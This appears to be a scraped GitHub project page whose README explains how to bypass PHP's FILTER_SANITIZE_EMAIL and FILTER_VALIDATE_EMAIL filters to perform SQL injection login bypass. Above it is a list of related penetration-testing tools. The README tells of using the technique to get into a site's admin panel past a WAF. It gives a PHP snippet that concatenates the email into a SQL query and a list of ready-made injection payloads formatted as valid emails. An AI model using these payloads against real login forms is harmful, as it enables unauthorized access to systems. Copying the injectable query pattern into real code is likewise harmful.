All Projects → Xib3rR4dAr → filter-var-sqli

Xib3rR4dAr / filter-var-sqli

Licence: other
Bypassing FILTER_SANITIZE_EMAIL & FILTER_VALIDATE_EMAIL filters in filter_var for SQL Injection ( xD )

Projects that are alternatives of or similar to filter-var-sqli

Mssqli Duet
SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcing
Stars: ✭ 82 (+182.76%)
Mutual labels:  penetration-testing, sql-injection
Pidrila
Python Interactive Deepweb-oriented Rapid Intelligent Link Analyzer
Stars: ✭ 125 (+331.03%)
Mutual labels:  penetration-testing, bug-bounty
Keye
Keye is a reconnaissance tool that was written in Python with SQLite3 integrated. After adding a single URL, or a list of URLs, it will make a request to these URLs and try to detect changes based on their response's body length.
Stars: ✭ 101 (+248.28%)
Mutual labels:  penetration-testing, bug-bounty
Swiftnessx
A cross-platform note-taking & target-tracking app for penetration testers.
Stars: ✭ 673 (+2220.69%)
Mutual labels:  penetration-testing, bug-bounty
wifi-penetration-testing-cheat-sheet
Work in progress...
Stars: ✭ 149 (+413.79%)
Mutual labels:  penetration-testing, bug-bounty
Dirsearch
Web path scanner
Stars: ✭ 7,246 (+24886.21%)
Mutual labels:  penetration-testing, bug-bounty
Black Widow
GUI based offensive penetration testing tool (Open Source)
Stars: ✭ 124 (+327.59%)
Mutual labels:  penetration-testing, sql-injection
vulnerabilities
List of every possible vulnerabilities in computer security.
Stars: ✭ 14 (-51.72%)
Mutual labels:  penetration-testing, sql-injection
Awesome Bbht
A bash script that will automatically install a list of bug hunting tools that I find interesting for recon, exploitation, etc. (minus burp) For Ubuntu/Debain.
Stars: ✭ 190 (+555.17%)
Mutual labels:  penetration-testing, bug-bounty
Phpvuln
Audit tool to find common vulnerabilities in PHP source code
Stars: ✭ 146 (+403.45%)
Mutual labels:  penetration-testing, sql-injection
Cerberus
一款功能强大的漏洞扫描器,子域名爆破使用aioDNS,asyncio异步快速扫描,覆盖目标全方位资产进行批量漏洞扫描,中间件信息收集,自动收集ip代理,探测Waf信息时自动使用来保护本机真实Ip,在本机Ip被Waf杀死后,自动切换代理Ip进行扫描,Waf信息收集(国内外100+款waf信息)包括安全狗,云锁,阿里云,云盾,腾讯云等,提供部分已知waf bypass 方案,中间件漏洞检测(Thinkphp,weblogic等 CVE-2018-5955,CVE-2018-12613,CVE-2018-11759等),支持SQL注入, XSS, 命令执行,文件包含, ssrf 漏洞扫描, 支持自定义漏洞邮箱推送功能
Stars: ✭ 389 (+1241.38%)
Mutual labels:  penetration-testing, sql-injection
sqlscan
Quick SQL Scanner, Dorker, Webshell injector PHP
Stars: ✭ 140 (+382.76%)
Mutual labels:  penetration-testing, sql-injection
Arachni
Web Application Security Scanner Framework
Stars: ✭ 2,942 (+10044.83%)
Mutual labels:  penetration-testing, sql-injection
Sublert
Sublert is a security and reconnaissance tool which leverages certificate transparency to automatically monitor new subdomains deployed by specific organizations and issued TLS/SSL certificate.
Stars: ✭ 699 (+2310.34%)
Mutual labels:  penetration-testing, bug-bounty
Rengine
reNgine is an automated reconnaissance framework for web applications with a focus on highly configurable streamlined recon process via Engines, recon data correlation and organization, continuous monitoring, backed by a database, and simple yet intuitive User Interface. reNgine makes it easy for penetration testers to gather reconnaissance with…
Stars: ✭ 3,439 (+11758.62%)
Mutual labels:  penetration-testing, bug-bounty
Awesome Hacking
A collection of various awesome lists for hackers, pentesters and security researchers
Stars: ✭ 48,038 (+165548.28%)
Mutual labels:  penetration-testing, bug-bounty
reconmap
Vulnerability assessment and penetration testing automation and reporting platform for teams.
Stars: ✭ 242 (+734.48%)
Mutual labels:  penetration-testing, bug-bounty
aquatone
A Tool for Domain Flyovers
Stars: ✭ 43 (+48.28%)
Mutual labels:  penetration-testing, bug-bounty
Nosqlmap
Automated NoSQL database enumeration and web application exploitation tool.
Stars: ✭ 1,928 (+6548.28%)
Mutual labels:  penetration-testing, sql-injection
vaf
Vaf is a cross-platform very advanced and fast web fuzzer written in nim
Stars: ✭ 294 (+913.79%)
Mutual labels:  penetration-testing, bug-bounty

Valid Email !!

Story: While testing a site, I came across it's admin panel and got stuck at login. The common SQLi login bypass payloads weren't working and WAF was too much disturbing. But after observing 3 types of errors "Wrong Username or Password","Error Occured" and "Invalid Email", I found that '||1#@i.i was considered as valid email and it bypassed the WAF and boom, I got in :D

After looking at the source code I saw that FILTER_SANITIZE_EMAIL and FILTER_VALIDATE_EMAIL filter were being used.

Explanation:

'||1#@i.i

is a valid email according to FILTER_VALIDATE_EMAIL filter, i.e:

$email = "'||1#@i.i";
$email = filter_var($email, FILTER_SANITIZE_EMAIL);
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
		echo 'Valid email !!<br>';
    $query = "SELECT * FROM login WHERE email='$email'";
		echo $query;
	}
  
will output:
Valid email !!
SELECT * FROM login WHERE email=''||1#@i.i'

Therefore '||1#@i.i can be used as a payload for SQLi login bypass when FILTER_SANITIZE_EMAIL &/|| FILTER_VALIDATE_EMAIL are in effect.

Some other payloads:

--+-------------------+
'||1#@i.i
'||1=1#@i.i
'||''=''#@i.i
'||'c'='c'#@i.i
'OR''=''#@i.i
'OR'1'='1'#@i.i
'\O/R'\'/=\'/'#@i.i
'"|\|/1#@i.i
'/|\|1#@i.i
--+-------------------+

and some others..

FILTER_SANITIZE_EMAIL strips " therefore "||1#@i.i cannot be used

FILTER_SANITIZE_EMAIL will convert:

'"|\|/1#@i.i

to:

'||1#@i.i

Therefore it can be used when FILTER_SANITIZE_EMAIL and WAF are in place.

You can try these in vulnerable login.php file

Happy Bypassing ^i^

Disclaimer

The contributor(s) cannot be held responsible for what you do with the information and code provided. This is intended for professional and educational purposes only.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].